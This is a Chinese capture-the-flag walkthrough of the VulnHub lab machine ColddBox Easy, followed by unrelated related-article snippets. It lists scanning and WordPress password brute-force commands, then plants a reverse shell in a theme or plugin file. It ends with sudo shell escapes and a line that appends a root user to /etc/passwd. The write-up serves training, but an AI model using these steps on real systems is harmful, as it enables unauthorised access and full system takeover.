VulnHub:colddbox easy

靶机下载地址

信息收集

主机发现

攻击机网段192.168.31.0/24,扫描同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

发现靶机,IP为192.168.31.176。

端口扫描

扫描靶机开放端口。

nmap 192.168.31.176 -A -p- -T4

开放了80,4512端口,注意ssh服务端口改到了4512端口上(后续如果要使用ssh登录需要加上-p 4512)。

web信息收集

访问80端口,首页如图:

根据首页信息,该网站由WordPress搭建。直接使用wpscan枚举用户名和密码,枚举出三个用户:philip,c0ldd,hugo,分别枚举密码。

wpscan --url http://192.168.31.176 -e u,p,t
# 得到c0ldd,hugo,philip三个用户名,分别枚举密码
wpscan --url http://192.168.31.176 --passwords /usr/share/wordlists/nmap.lst --usernames c0ldd --max-threads 100

只有c0ldd用户枚举出密码:9876543210

拿到用户名和密码,尝试登录wordpress后台。访问/wp-login.php输入用户名密码,发现成功登录管理员后台。

getshell

WordPress getshell常用方法通过msf获取目标靶机shell在该靶机中无法成功,只能通过其他方式getshell,WordPress getshell的方法有:

  1. 将反弹shell写入网站模板中

  2. 将反弹shell压缩成zip,伪装成插件进行安装

  3. 将反弹shell添加到WordPress后台已安装的插件代码中

  4. 安装有漏洞的插件

下面演示两种常用的getshell方法。

方法1:网站模板

既然登录了管理员账户,就可以修改模板,在模板中写入反弹shell,访问即可。

例如,修改404.php模板的内容。

反弹shell脚本(php-reverse-shell)_php-reverse-shell.-CSDN博客

写入反弹shell脚本后,点击Update File上传成功才能利用。

# 攻击机 端口号与反弹shell脚本内一致
nc -lvp port
# 访问http://192.168.31.176/wp-content/themes/twentyfifteen/404.php

成功getshell。获取一个交互式shell执行:python3 -c 'import pty;pty.spawn("/bin/bash")'

方法2:添加反弹shell到插件代码

在插件选项中看到已经安装了两个插件,随便启用一个(记得一定要启用),这里启用的是Hello Dolly插件。

点击Edit编辑插件代码,在代码中添加反弹shell脚本,点击Update File更新。

攻击机开启nc监听5555端口。成功getshell。

getshell后进行信息收集,在/var/www/html下找到一个hidden文件夹。

访问后得到的信息是:需要c0ldd用户修改hugo用户的密码,以便hugo登录并上传文章。

试过修改密码然后就不知道有啥用了。

同样在/var/www/html路径下cat wp-config.php找到一个数据库账号和密码。

账号:c0ldd

密码:cybersecurity

/home/c0ldd目录下发现user.txt,但是没有权限,c0ldd才有读权限。

既然只有c0ldd用户有读权限,就尝试切换到c0ldd用户,拿上面的密码登录c0ldd用户。

得到flag1,是一串base64加密字符。解密后是西班牙语:

Felicidades, primer nivel conseguido!

提权

sudo -l

vim,ftp,chmod这三个都可以用。

# ftp
sudo ftp
!/bin/bash
​
#vim
sudo vim -c ':!/bin/sh'
​
# chmod
sudo chmod 777 /etc/passwd
openssl passwd -salt '12' 123456   //生成加密密码
12tir.zIbWQ3c  //上一步生成的加密密码
echo "akk:12tir.zIbWQ3c:0:0:ROOT:/root:/bin/bash" >> /etc/passwd //向/etc/passwd中写入一个root权限的用户akk

1、ftp提权演示如图:

2、vim提权演示如图:

3、chmod提权演示如图:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/50118.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Prometheus安装部署

文章目录 1.Prometheus(普罗米修斯)安装部署1.1部署环境准备1.2部署prometheus1.3主机数据展示 2.Grafana安装部署2.1部署Grafana2.2配置Grafana数据源2.2配置Grafana仪表板 3.AlertManager安装部署3.1部署alertmanager3.2告警邮件发送配置3.3测试邮件告警效果3.4自定义邮件告警…

ModuleNotFoundError: No module named ‘py3langid‘ 以及如何将包安在虚拟环境下

前提:已经安装过改包(pip install py3langid),但仍报错 原因:安装在其他目录下了 解决办法: 1、再次在终端输入pip install py3langid 显示安装位置 Requirement already satisfied: py3langid in c:\…

【ESP8684————固件烧录说明、调试记录(1)】

环境: 硬件:ESP8684 模块 芯片:ESP8684-MINI-1U 固件:ESP32-C2-4MB-AT-V3.3.0.0 固件烧录及烧录说明整理:固件及烧录说明整理 一、调试笔记: 1)关于ESP8684模块(ATCWMODE&#xf…

Jmeter三种方式获取数组中多个数据并将其当做下个接口参数入参【附带JSON提取器和CSV格式化】

目录 一、传统方式-JOSN提取器获取接口返回值 1、接口调用获取返回值 2、添加JSON提取器 3、调试程序查看结果 4、添加循环控制器 5、设置count计数器 6、添加请求 7、执行请求 二、CSV参数化 1、将结果写入后置处理程序 2、设置循环处理器 3、添加CSV文件 4、设置…

智税集成2.0生成凭证

:::info 💡 整体业务流程 从A9服务器中取数,生成列表数据,写入到对方oracle数据库中。 ::: 项目关键点 1.连接数据库 左连接连接本地SQLserver数据库、右连接要链接A9开票服务器的数据库然后设想用SQLserver 自带的外部连接来连接oracle数据…

【资料分享】2024第三届钉钉杯大学生大数据挑战赛B题思路解析+双语言代码

2024钉钉杯大学生大数据挑战赛,B题解题思路和双语言代码分享,资料预览:

解密阿里大神写的天书般的Tree工具类,轻松搞定树结构!

首发公众号:赵侠客 一、引言 最近公司新进了不少新人,包括一些来自阿里、网易等大型企业的资深工程师。我们组的一位新同事是阿里来的专家,我在CR(Code Review, 简称CR)时看到了他编写的一个关于树操作的工具类&#…

操作系统:进程1

一.进程 1.什么是进程 一个进程创建,他会生成几块: 代码段:进程执行的程序代码数据段:全局变量,静态变量,在进程生命周期中是动态可变的堆:动态分配的内存区域,malloc、calloc、real…

html实现酷炫美观的可视化大屏(十种风格示例,附源码)

文章目录 完整效果演示1.蓝色流线风的可视化大屏1.1 大屏效果1.2 大屏代码1.3 大屏下载 2.地图模块风的可视化大屏2.1 大屏效果2.2 大屏代码2.3 大屏下载 3.科技轮动风的可视化大屏3.1 大屏效果3.2 大屏代码3.3 大屏下载 4.蓝色海洋风的可视化大屏4.1 大屏效果4.2 大屏代码4.3 …

快速介绍git(Linux)

git 1、安装2、版本控制3、git vs gitee&&GitHub(git故事)4、git的操作 1、安装 很简单,直接 sudo yum install -y git2、版本控制 故事介绍:你是一个大学生,你上课需要交一分实验报告,教你的老师比较负责,…

手把手教你集成GraphRag.Net:打造智能图谱搜索系统

在人工智能和大数据发展的背景下,我们常常需要在项目中实现知识图谱的应用,以便快速、准确地检索和使用信息。 今天,我将向大家详细介绍如何在一个新的.NET项目中集成GraphRag.Net,这是一个参考GraphRag实现的.NET版本&#xff0c…

Linux_make/Makefile的理解

1.make是一个命令,makefile是一个文件, 依赖关系和依赖方法. a.快速使用一下 i.创建一个Makefile文件(首字母也可以小写) b.依赖关系和依赖方法 i.依赖关系: 我为什么要帮你? mybin:mytest.c ii.依赖方法: 怎么帮? gcc -o mybin mytest.c make之前要注意先创建…

探索LLM世界:新手小白的学习路线图

随着人工智能的发展,语言模型(Language Models, LLM)在自然语言处理(NLP)领域的应用越来越广泛。对于新手小白来说,学习LLM不仅能提升技术水平,还能为职业发展带来巨大的机遇。那么,…

Linux(虚拟机)的介绍

Linux介绍 常见的操作系统 Windows:微软公司开发的一款桌面操作系统(闭源系统)。版本有dos,win98,win NT,win XP , win7, win vista. win8, win10,win11。服务器操作系统:winserve…

conda issue

Conda 是一个跨平台、通用的二进制包管理器。它是 Anaconda 安装使用的包管理器,但它也可能用于其他系统。Conda 完全用 Python 编写,并且是 BSD 许可的开源。通用意味着大部分的包都可以用它进行管理,很像一个跨平台版本的apt或者yum&#x…

vue3 父组件 props 异步传值,子组件接收不到或接收错误

1. 使用场景 我们在子组件中通常需要调用父组件的数据,此时需要使用 vue3 的 props 进行父子组件通信传值。 2. 问题描述 那么此时问题来了,在使用 props 进行父子组件通信时,因为数据传递是异步的,导致子组件无法成功获取数据…

汇川CodeSysPLC教程03-2-6 ModBus TCP

什么是ModBus TCP? ModBus TCP是一种基于TCP/IP协议的工业网络通信协议,常用于工业自动化和控制系统。它是ModBus协议的一个变种,ModBus协议最初由Modicon(现在是施耐德电气的一部分)在1979年开发。 以下是ModBus TC…

数据治理之“财务一张表”

前言 信息技术的发展,伴随企业业务系统的纷纷建设,提升业务处理效率的同时,也将企业的整体主价值链流程分成了一段一段的业务子流程,很多情况下存在数据上报延迟、业务协作不顺畅、计划反馈不及时、库存积压占资多……都可以从数据…

【Android】linux

android系统就是跑在linux上的系统。Linux层里面包含系统和硬件驱动等一些本地代码的环境。 linux的目录 mount: 用于查看哪个模块输入只读,一般显示为: [rootlocalhost ~]# mount /dev/cciss/c0d0p2 on / type ext3 (rw) proc on /proc type proc (…

Spring AI (五) Message 消息

5.Message 消息 在Spring AI提供的接口中,每条信息的角色总共分为三类: SystemMessage:系统限制信息,这种信息在对话中的权重很大,AI会优先依据SystemMessage里的内容进行回复; UserMessage:用…